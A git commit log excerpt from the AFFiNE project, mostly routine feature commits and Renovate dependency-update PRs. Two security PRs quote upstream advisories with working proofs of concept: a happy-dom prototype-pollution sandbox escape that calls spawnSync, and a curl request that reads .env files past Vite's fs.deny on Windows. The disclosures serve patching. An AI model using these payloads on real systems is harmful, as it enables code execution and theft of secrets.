Source](https://redirect.github.com/getsentry/sentry-electron/compare/6.6.0...6.7.0)

- feat: Update JavaScript SDKs from
[v9.18.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.18.0)
to
[v9.25.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.25.0)
- feat: Add structured logging support
([#&#8203;1159](https://redirect.github.com/getsentry/sentry-electron/issues/1159))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzAuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-21 17:31:20 +00:00
congzhou09
e2de0e0e3d fix(editor): add trash state for linked-doc and synced-doc appearance (#13767)
This PR updates the appearance of `embed-linked-doc-block` and
`embed-synced-doc-block` to reflect the trashed state of their linked
documents.
Previously, these blocks showed no visual difference whether the linked
document was trashed or not, despite the existing of codes for
deletion-related appearance.
This change ensures that the deletion appearance is properly displayed.


![after](https://github.com/user-attachments/assets/fe2d66d9-6685-4d15-95aa-0680111bc190)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Documents now support trash state tracking for improved deletion
management

* **Bug Fixes**
* Improved synchronization and refresh of embedded documents when
document states change
  * Enhanced handling of trashed documents in embedded content

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-21 16:51:03 +00:00
Juan Abimael Santos Castillo
6fb0ff9177 chore(native): simplify Array::get method with functional approach (#13771)
## Issue

The Array::get method used verbose nested Option handling with redundant
returns, making the code longer and less Rust idiomatic.

## Solution

Replaced the nested if let structure with a functional and_then approach
that:
- Eliminates redundant return keyword usage
- Flattens Option handling for cleaner logic
- Reduces code from 13 lines to 9 lines
- Maintains identical functionality

## Result

More idiomatic Rust code that's easier to read and maintain, with all
tests passing.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Improved internal code structure with functional programming patterns
for enhanced maintainability. No visible changes to end-user
functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-10-21 16:45:58 +00:00
Cats Juice
c2fb6adfd8 feat(mobile): add discord link in setting (#13789)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added a new Discord community link in the mobile settings Others
section with an animated "Hot" badge

* **Localization**
* Added multilingual support for the new Discord link across all
supported languages

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-21 16:29:06 +00:00
Lakr
8aeb8bd0ca feat(ios): insert app user id to rc (#13756)
This pull request integrates RevenueCat into the iOS paywall system,
enabling user authentication and subscription management through the
RevenueCat SDK. It introduces new dependencies, updates the paywall
plugin initialization, and adds logic to fetch and use the current user
identifier from the web context for RevenueCat login. The most important
changes are grouped below:

**RevenueCat Integration and Configuration:**

* Added `purchases-ios-spm` (RevenueCat) as a Swift Package dependency
in `AffinePaywall` and updated `Package.resolved` to track the new
dependency.
(`packages/frontend/apps/ios/App/Packages/AffinePaywall/Package.swift`,
`packages/frontend/apps/ios/App/App.xcworkspace/xcshareddata/swiftpm/Package.resolved`)
[[1]](diffhunk://#diff-7716c691e65a220dad542e024fbf91547c45ea69ddff1d0b6a002a497cd7c8ecR20-R28)
[[2]](diffhunk://#diff-63609de9bdfc08b8a0691a4f0ddb7ddff07ae76b40ec2ee7c12adb7db226eb3cR48-R56)
* Implemented `Paywall.setup()` for initializing RevenueCat
configuration, including setting log level, proxy URL, and a static API
key.
(`packages/frontend/apps/ios/App/Packages/AffinePaywall/Sources/AffinePaywall/Paywall.swift`,
`packages/frontend/apps/ios/App/Plugins/PayWall/PayWallPlugin.swift`)
[[1]](diffhunk://#diff-bce0a21a4e7695b7bf2430cd6b8a85fbc84124cc3be83f3288119992b7abb6cdR8-R30)
[[2]](diffhunk://#diff-1854d318d8fd8736d078f5960373ed440836263649a8193c8ee33e72a99424edR14)

**User Authentication and Subscription State:**

* Enhanced the paywall ViewModel logic to fetch the current user
identifier from the web context (`window.getCurrentUserIdentifier`),
configure RevenueCat, and log in the user before fetching subscription
state. Improved error handling and ensured external entitlement fetching
is robust.
(`packages/frontend/apps/ios/App/Packages/AffinePaywall/Sources/AffinePaywall/Model/ViewModel+Action.swift`)
[[1]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbR9)
[[2]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL120-R155)
[[3]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbR165)
* Added a global JavaScript function `getCurrentUserIdentifier` to the
iOS web context to retrieve the current user's account ID for use in
RevenueCat login. (`packages/frontend/apps/ios/src/app.tsx`)

**Project Metadata:**

* Downgraded the `objectVersion` in the Xcode project file, possibly to
maintain compatibility with other tools or environments.
(`packages/frontend/apps/ios/App/App.xcodeproj/project.pbxproj`)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Paywall now initializes automatically for a smoother subscription
flow.
* New global API to retrieve the current user identifier from the app
context.

* **Improvements**
* Added integration to better coordinate subscription/login state before
showing paywall options.
* Ensures user identity is validated prior to entitlement checks,
improving accuracy.
  * Improved error messages and logging during purchase/login flows.

* **Bug Fixes**
* Fixed intermittent issues where subscription status could fail to load
or appear outdated.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-21 16:15:29 +00:00
renovate[bot]
a47042cbd5 chore: bump up happy-dom version to v20.0.2 [SECURITY] (#13765)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) |
[`20.0.0` ->
`20.0.2`](https://renovatebot.com/diffs/npm/happy-dom/20.0.0/20.0.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/20.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/20.0.0/20.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-62410](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5)

### Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling
eval/Function when executing untrusted code in happy-dom does not
suffice, since it still allows prototype pollution payloads.

### Details
The untrusted script and the rest of the application still run in the
same Isolate/process, so attackers can deploy prototype pollution
payloads to hijack important references like "process" in the example
below, or to hijack control flow via flipping checks of undefined
property. There might be other payloads that allow the manipulation of
require, e.g., via (univeral) gadgets
(https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

### PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to
obtain important references at runtime, e.g., "process". In this way,
attackers might be able to execute arbitrary commands like in the
example below via spawn().

```js
import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
```

### Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.

### Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against
attacks similar to the PoC above. However, the untrusted code might
still be able to retrieve all kind of information available in the
global scope and exfiltrate them via fetch(), even without prototype
pollution capabilities. Not to mention side channels caused by the
shared process/isolate. Migration to
[isolated-vm](https://redirect.github.com/laverdet/isolated-vm) is
suggested instead.

Cris from the Endor Labs Security Research Team, who has worked
extensively on JavaScript sandboxing in the past, submitted this
advisory.

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

###
[`v20.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.1...v20.0.2)

##### :construction\_worker\_man: Patch fixes

- Adds frozen intrinsics flag to workers in `@happy-dom/server-renderer`
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1934](https://redirect.github.com/capricorn86/happy-dom/issues/1934)

###
[`v20.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.0...v20.0.1)

##### :construction\_worker\_man: Patch fixes

- Adds warning for environment with unfrozen intrinsics (builtins) when
JavaScript evaluation is enabled- By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1932](https://redirect.github.com/capricorn86/happy-dom/issues/1932)
- A security advisory has been reported showing that the recommended
preventive measure of running Node.js with
`--disallow-code-generation-from-strings` wasn't enough to protect
against attackers escaping the VM context and accessing process-level
functions. Big thanks to
[@&#8203;cristianstaicu](https://redirect.github.com/cristianstaicu) for
reporting this!
- The documentation for how to run Happy DOM with JavaScript evaluation
enabled in a safer way has been updated. Read more about it in the
[Wiki](https://redirect.github.com/capricorn86/happy-dom/wiki/JavaScript-Evaluation-Warning)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE1Ni4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-21 16:13:36 +00:00
renovate[bot]
2c44d3abc6 chore: bump up vite version to v7 [SECURITY] (#13786)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`^6.1.0` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/vite/6.3.6/7.1.11) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.3.6/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`^6.0.3` ->
`^7.0.0`](https://renovatebot.com/diffs/npm/vite/6.3.6/7.1.11) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.3.6/7.1.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-62522](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7)

### Summary
Files denied by
[`server.fs.deny`](https://vitejs.dev/config/server-options.html#server-fs-deny)
were sent if the URL ended with `\` when the dev server is running on
Windows.

### Impact
Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or
[`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host))
- running the dev server on Windows

### Details
`server.fs.deny` can contain patterns matching against files (by default
it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns). These
patterns were able to bypass by using a back slash(`\`). The root cause
is that `fs.readFile('/foo.png/')` loads `/foo.png`.

### PoC
```shell
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
```
<img width="1593" height="616" alt="image"
src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175"
/>

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v7.1.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-7111-2025-10-20-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.10...v7.1.11)

##### Bug Fixes

- **dev:** trim trailing slash before `server.fs.deny` check
([#&#8203;20968](https://redirect.github.com/vitejs/vite/issues/20968))
([f479cc5](f479cc57c4))

##### Miscellaneous Chores

- **deps:** update all non-major dependencies
([#&#8203;20966](https://redirect.github.com/vitejs/vite/issues/20966))
([6fb41a2](6fb41a260b))

##### Code Refactoring

- use subpath imports for types module reference
([#&#8203;20921](https://redirect.github.com/vitejs/vite/issues/20921))
([d0094af](d0094af639))

##### Build System

- remove cjs reference in files field
([#&#8203;20945](https://redirect.github.com/vitejs/vite/issues/20945))
([ef411ce](ef411cee26))
- remove hash from built filenames
([#&#8203;20946](https://redirect.github.com/vitejs/vite/issues/20946))
([a817307](a81730754d))

###
[`v7.1.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-7110-2025-10-14-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.9...v7.1.10)

##### Bug Fixes

- **css:** avoid duplicate style for server rendered stylesheet link and
client inline style during dev
([#&#8203;20767](https://redirect.github.com/vitejs/vite/issues/20767))
([3a92bc7](3a92bc79b3))
- **css:** respect emitAssets when cssCodeSplit=false
([#&#8203;20883](https://redirect.github.com/vitejs/vite/issues/20883))
([d3e7eee](d3e7eeefa9))
- **deps:** update all non-major dependencies
([879de86](879de86935))
- **deps:** update all non-major dependencies
([#&#8203;20894](https://redirect.github.com/vitejs/vite/issues/20894))
([3213f90](3213f90ff0))
- **dev:** allow aliases starting with `//`
([#&#8203;20760](https://redirect.github.com/vitejs/vite/issues/20760))
([b95fa2a](b95fa2aa75))
- **dev:** remove timestamp query consistently
([#&#8203;20887](https://redirect.github.com/vitejs/vite/issues/20887))
([6537d15](6537d15591))
- **esbuild:** inject esbuild helpers correctly for esbuild 0.25.9+
([#&#8203;20906](https://redirect.github.com/vitejs/vite/issues/20906))
([446eb38](446eb38632))
- normalize path before calling `fileToBuiltUrl`
([#&#8203;20898](https://redirect.github.com/vitejs/vite/issues/20898))
([73b6d24](73b6d243e0))
- preserve original sourcemap file field when combining sourcemaps
([#&#8203;20926](https://redirect.github.com/vitejs/vite/issues/20926))
([c714776](c714776aa1))

##### Documentation

- correct `WebSocket` spelling
([#&#8203;20890](https://redirect.github.com/vitejs/vite/issues/20890))
([29e98dc](29e98dc3ef))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20923](https://redirect.github.com/vitejs/vite/issues/20923))
([a5e3b06](a5e3b064fa))

###
[`v7.1.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-719-2025-10-03-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.8...v7.1.9)

##### Reverts

- **server:** drain stdin when not interactive
([#&#8203;20885](https://redirect.github.com/vitejs/vite/issues/20885))
([12d72b0](12d72b0538))

###
[`v7.1.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-718-2025-10-02-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.7...v7.1.8)

##### Bug Fixes

- **css:** improve url escape characters handling
([#&#8203;20847](https://redirect.github.com/vitejs/vite/issues/20847))
([24a61a3](24a61a3f54))
- **deps:** update all non-major dependencies
([#&#8203;20855](https://redirect.github.com/vitejs/vite/issues/20855))
([788a183](788a183afc))
- **deps:** update artichokie to 0.4.2
([#&#8203;20864](https://redirect.github.com/vitejs/vite/issues/20864))
([e670799](e670799e12))
- **dev:** skip JS responses for document requests
([#&#8203;20866](https://redirect.github.com/vitejs/vite/issues/20866))
([6bc6c4d](6bc6c4dbc2))
- **glob:** fix HMR for array patterns with exclusions
([#&#8203;20872](https://redirect.github.com/vitejs/vite/issues/20872))
([63e040f](63e040f1ca))
- keep ids for virtual modules as-is
([#&#8203;20808](https://redirect.github.com/vitejs/vite/issues/20808))
([d4eca98](d4eca986d6))
- **server:** drain stdin when not interactive
([#&#8203;20837](https://redirect.github.com/vitejs/vite/issues/20837))
([bb950e9](bb950e92b3))
- **server:** improve malformed URL handling in middlewares
([#&#8203;20830](https://redirect.github.com/vitejs/vite/issues/20830))
([d65a983](d65a9831c9))

##### Documentation

- **create-vite:** provide deno example
([#&#8203;20747](https://redirect.github.com/vitejs/vite/issues/20747))
([fdb758a](fdb758a517))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20810](https://redirect.github.com/vitejs/vite/issues/20810))
([ea68a88](ea68a8868c))
- **deps:** update rolldown-related dependencies
([#&#8203;20854](https://redirect.github.com/vitejs/vite/issues/20854))
([4dd06fd](4dd06fdc8d))
- update url of `create-react-app` license
([#&#8203;20865](https://redirect.github.com/vitejs/vite/issues/20865))
([166a178](166a178f45))

###
[`v7.1.7`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-717-2025-09-22-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.6...v7.1.7)

##### Bug Fixes

- **build:** fix ssr environment `emitAssets: true` when
`sharedConfigBuild: true`
([#&#8203;20787](https://redirect.github.com/vitejs/vite/issues/20787))
([4c4583c](4c4583ce7a))
- **client:** use CSP nonce when rendering error overlay
([#&#8203;20791](https://redirect.github.com/vitejs/vite/issues/20791))
([9bc9d12](9bc9d1258f))
- **deps:** update all non-major dependencies
([#&#8203;20811](https://redirect.github.com/vitejs/vite/issues/20811))
([9f2247c](9f2247c066))
- **glob:** handle glob imports from folders starting with dot
([#&#8203;20800](https://redirect.github.com/vitejs/vite/issues/20800))
([105abe8](105abe87c4))
- **hmr:** trigger prune event when import is removed from non hmr
module
([#&#8203;20768](https://redirect.github.com/vitejs/vite/issues/20768))
([9f32b1d](9f32b1dc71))
- **hmr:** wait for `import.meta.hot.prune` callbacks to complete before
running other HMRs
([#&#8203;20698](https://redirect.github.com/vitejs/vite/issues/20698))
([98a3484](98a3484733))

###
[`v7.1.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-716-2025-09-18-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.5...v7.1.6)

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20773](https://redirect.github.com/vitejs/vite/issues/20773))
([88af2ae](88af2ae7df))
- **esbuild:** inject esbuild helper functions with minified `$`
variables correctly
([#&#8203;20761](https://redirect.github.com/vitejs/vite/issues/20761))
([7e8e004](7e8e0043d6))
- fallback terser to main thread when nameCache is provided
([#&#8203;20750](https://redirect.github.com/vitejs/vite/issues/20750))
([a679a64](a679a64340))
- **types:** strict env typings fail when `skipLibCheck` is `false`
([#&#8203;20755](https://redirect.github.com/vitejs/vite/issues/20755))
([cc54e29](cc54e29474))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20675](https://redirect.github.com/vitejs/vite/issues/20675))
([a67bb5f](a67bb5fbec))
- **deps:** update rolldown-related dependencies
([#&#8203;20772](https://redirect.github.com/vitejs/vite/issues/20772))
([d785e72](d785e72f2e))

###
[`v7.1.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-715-2025-09-08-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.4...v7.1.5)

##### Bug Fixes

- apply `fs.strict` check to HTML files
([#&#8203;20736](https://redirect.github.com/vitejs/vite/issues/20736))
([14015d7](14015d794f))
- **deps:** update all non-major dependencies
([#&#8203;20732](https://redirect.github.com/vitejs/vite/issues/20732))
([122bfba](122bfbabeb))
- upgrade sirv to 3.0.2
([#&#8203;20735](https://redirect.github.com/vitejs/vite/issues/20735))
([09f2b52](09f2b52e8d))

###
[`v7.1.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-714-2025-09-01-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.3...v7.1.4)

##### Bug Fixes

- add missing awaits
([#&#8203;20697](https://redirect.github.com/vitejs/vite/issues/20697))
([79d10ed](79d10ed634))
- **deps:** update all non-major dependencies
([#&#8203;20676](https://redirect.github.com/vitejs/vite/issues/20676))
([5a274b2](5a274b29df))
- **deps:** update all non-major dependencies
([#&#8203;20709](https://redirect.github.com/vitejs/vite/issues/20709))
([0401feb](0401feba17))
- pass rollup watch options when building in watch mode
([#&#8203;20674](https://redirect.github.com/vitejs/vite/issues/20674))
([f367453](f367453ca2))

##### Miscellaneous Chores

- remove unused constants entry from rolldown.config.ts
([#&#8203;20710](https://redirect.github.com/vitejs/vite/issues/20710))
([537fcf9](537fcf9186))

##### Code Refactoring

- remove unnecessary `minify` parameter from `finalizeCss`
([#&#8203;20701](https://redirect.github.com/vitejs/vite/issues/20701))
([8099582](8099582e53))

###
[`v7.1.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-713-2025-08-19-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.2...v7.1.3)

##### Features

- **cli:** add Node.js version warning for unsupported versions
([#&#8203;20638](https://redirect.github.com/vitejs/vite/issues/20638))
([a1be1bf](a1be1bf090))
- generate code frame for parse errors thrown by terser
([#&#8203;20642](https://redirect.github.com/vitejs/vite/issues/20642))
([a9ba017](a9ba0174a5))
- support long lines in `generateCodeFrame`
([#&#8203;20640](https://redirect.github.com/vitejs/vite/issues/20640))
([1559577](1559577317))

##### Bug Fixes

- **deps:** update all non-major dependencies
([#&#8203;20634](https://redirect.github.com/vitejs/vite/issues/20634))
([4851cab](4851cab3ba))
- **optimizer:** incorrect incompatible error
([#&#8203;20439](https://redirect.github.com/vitejs/vite/issues/20439))
([446fe83](446fe83033))
- support multiline new URL(..., import.meta.url) expressions
([#&#8203;20644](https://redirect.github.com/vitejs/vite/issues/20644))
([9ccf142](9ccf142764))

##### Performance Improvements

- **cli:** dynamically import `resolveConfig`
([#&#8203;20646](https://redirect.github.com/vitejs/vite/issues/20646))
([f691f57](f691f57e46))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies
([#&#8203;20633](https://redirect.github.com/vitejs/vite/issues/20633))
([98b92e8](98b92e8c4b))

##### Code Refactoring

- replace startsWith with strict equality
([#&#8203;20603](https://redirect.github.com/vitejs/vite/issues/20603))
([42816de](42816dee0e))
- use `import` in worker threads
([#&#8203;20641](https://redirect.github.com/vitejs/vite/issues/20641))
([530687a](530687a344))

##### Tests

- remove `checkNodeVersion` test
([#&#8203;20647](https://redirect.github.com/vitejs/vite/issues/20647))
([731d3e6](731d3e61f4))

###
[`v7.1.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-712-2025-08-12-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.1...v7.1.2)

##### Bug Fixes

- **client:** add `[vite]` prefixes to debug logs
([#&#8203;20595](https://redirect.github.com/vitejs/vite/issues/20595))
([7cdef61](7cdef612a6))
- **config:** make debugger work with bundle loader
([#&#8203;20573](https://redirect.github.com/vitejs/vite/issues/20573))
([c583927](c583927bee))
- **deps:** update all non-major dependencies
([#&#8203;20587](https://redirect.github.com/vitejs/vite/issues/20587))
([20d4817](20d48172a0))
- don't consider ids with `npm:` prefix as a built-in module
([#&#8203;20558](https://redirect.github.com/vitejs/vite/issues/20558))
([ab33803](ab33803f2c))
- **hmr:** watch non-inlined assets referenced by CSS
([#&#8203;20581](https://redirect.github.com/vitejs/vite/issues/20581))
([b7d494b](b7d494bf60))
- **module-runner:** prevent crash when sourceMappingURL pattern appears
in string literals
([#&#8203;20554](https://redirect.github.com/vitejs/vite/issues/20554))
([2770478](2770478d1c))

##### Miscellaneous Chores

- **deps:** migrate to `@jridgewell/remapping` from
`@ampproject/remapping`
([#&#8203;20577](https://redirect.github.com/vitejs/vite/issues/20577))
([0a6048a](0a6048aba4))
- **deps:** update rolldown-related dependencies
([#&#8203;20586](https://redirect.github.com/vitejs/vite/issues/20586))
([77632c5](77632c55db))

###
[`v7.1.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-7111-2025-10-20-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.1.0...v7.1.1)

##### Bug Fixes

- **dev:** trim trailing slash before `server.fs.deny` check
([#&#8203;20968](https://redirect.github.com/vitejs/vite/issues/20968))
([f479cc5](f479cc57c4))

##### Miscellaneous Chores

- **deps:** update all non-major dependencies
([#&#8203;20966](https://redirect.github.com/vitejs/vite/issues/20966))
([6fb41a2](6fb41a260b))

##### Code Refactoring

- use subpath imports for types module reference
([#&#8203;20921](https://redirect.github.com/vitejs/vite/issues/20921))
([d0094af](d0094af639))

##### Build System

- remove cjs reference in files field
([#&#8203;20945](https://redirect.github.com/vitejs/vite/issues/20945))
([ef411ce](ef411cee26))
- remove hash from built filenames
([#&#8203;20946](https://redirect.github.com/vitejs/vite/issues/20946))
([a817307](a81730754d))

###
[`v7.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#710-2025-08-07)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v7.0.8...v7.1.0)

##### Features

- support files with more than 1000 lines by `generateCodeFrame`
([#&#8203;20508](https://redirect.github.com/vitejs/vite/issues/20508))
([e7d0b2a](e7d0b2afa5))
- add `import.meta.main` support in config (bundle config loader)
([#&#8203;20516](https://redirect.github.com/vitejs/vite/issues/20516))
([5d3e3c2](5d3e3c2ae5))
- **optimizer:** improve dependency optimization error messages with
esbuild formatMessages
([#&#8203;20525](https://redirect.github.com/vitejs/vite/issues/20525))
([d17cfed](d17cfeda07))
- **ssr:** add `import.meta.main` support for Node.js module runner
([#&#8203;20517](https://redirect.github.com/vitejs/vite/issues/20517))
([794a8f2](794a8f2302))
- add `future: 'warn'`
([#&#8203;20473](https://redirect.github.com/vitejs/vite/issues/20473))
([e6aaf17](e6aaf17ca2))
- add `removeServerPluginContainer` future deprecation
([#&#8203;20437](https://redirect.github.com/vitejs/vite/issues/20437))
([c1279e7](c1279e7540))
- add `removeServerReloadModule` future deprecation
([#&#8203;20436](https://redirect.github.com/vitejs/vite/issues/20436))
([6970d17](6970d1740c))
- add `server.warmupRequest` to future deprecation
([#&#8203;20431](https://redirect.github.com/vitejs/vite/issues/20431))
([8ad388a](8ad388aeab))
- add `ssrFixStacktrace` / `ssrRewriteStacktrace` to
`removeSsrLoadModule` future deprecation
([#&#8203;20435](https://redirect.github.com/vitejs/vite/issues/20435))
([8c8f587](8c8f5879ea))
- **client:** ping from SharedWorker
([#&#8203;19057](https://redirect.github.com/vitejs/vite/issues/19057))
([5c97c22](5c97c22548))
- **dev:** add `this.fs` support
